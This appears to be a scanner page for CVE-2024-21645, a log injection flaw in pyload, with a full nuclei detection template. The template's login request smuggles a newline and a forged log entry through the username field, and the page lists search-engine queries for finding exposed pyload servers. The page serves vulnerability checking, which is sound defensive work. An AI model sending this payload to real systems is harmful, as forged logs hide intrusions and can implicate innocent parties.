pyload - Log Injection

mediumseverity

5.3CVSS score

24.7%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

A log injection vulnerability was identified in pyload. This vulnerability allows any unauthenticated actor to inject arbitrary messages into the logs gathered by pyload.

Impact

Forged or otherwise, corrupted log files can be used to cover an attacker's tracks or even to implicate another party in the commission of a malicious act.

Fix

Apply the latest security patches and updates from the vendor to address this vulnerability.

How to confirm it

Send: POST /login?next={{RootURL}} ; POST /login?next={{RootURL}}/logs
Positive when: contains "<td>1970-01-01 00:00:00</td><td class=\"loglevel\">INJECTED</…" AND status 200

Run it with nuclei: nuclei -id CVE-2024-21645 -u <target>

The full check

id: CVE-2024-21645

info:
  name: pyload - Log Injection
  author: isacaya
  severity: medium
  description: |
    A log injection vulnerability was identified in pyload. This vulnerability allows any unauthenticated actor to inject arbitrary messages into the logs gathered by pyload.
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    Forged or otherwise, corrupted log files can be used to cover an attacker's tracks or even to implicate another party in the commission of a malicious act.
  reference:
    - https://github.com/advisories/GHSA-ghmw-rwh8-6qmr
    - https://nvd.nist.gov/vuln/detail/CVE-2024-21645
    - https://github.com/fkie-cad/nvd-json-data-feeds
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-21645
    cwe-id: CWE-74
    epss-score: 0.24698
    epss-percentile: 0.97909
    cpe: cpe:2.3:a:pyload:pyload:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: pyload
    product: pyload
    shodan-query:
      - "title:\"pyload\""
      - http.title:"login - pyload"
      - http.html:"pyload"
      - http.title:"pyload"
    fofa-query:
      - title="login - pyload"
      - body="pyload"
      - title="pyload"
    google-query:
      - intitle:"login - pyload"
      - intitle:"pyload"
    zoomeye-query: app="pyLoad"
  tags: cve,cve2024,pyload,authenticated,injection,vuln
variables:
  str: "{{rand_base(6)}}"

http:
  - raw:
      - |
        POST /login?next={{RootURL}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        do=login&username={{randstr}}\'%0a[1970-01-01 00:00:00]  INJECTED               {{str}}  THIS ENTRY HAS BEEN INJECTED&password=wrong&submit=Login

      - |
        POST /login?next={{RootURL}}/logs HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        do=login&username={{username}}&password={{password}}&submit=Login

    redirects: true
    max-redirects: 1

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<td>1970-01-01 00:00:00</td><td class="loglevel">INJECTED</td><td class="logsource">{{str}}</td><td>THIS&nbsp;ENTRY&nbsp;HAS&nbsp;BEEN&nbsp;INJECTED&#39;</td>'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from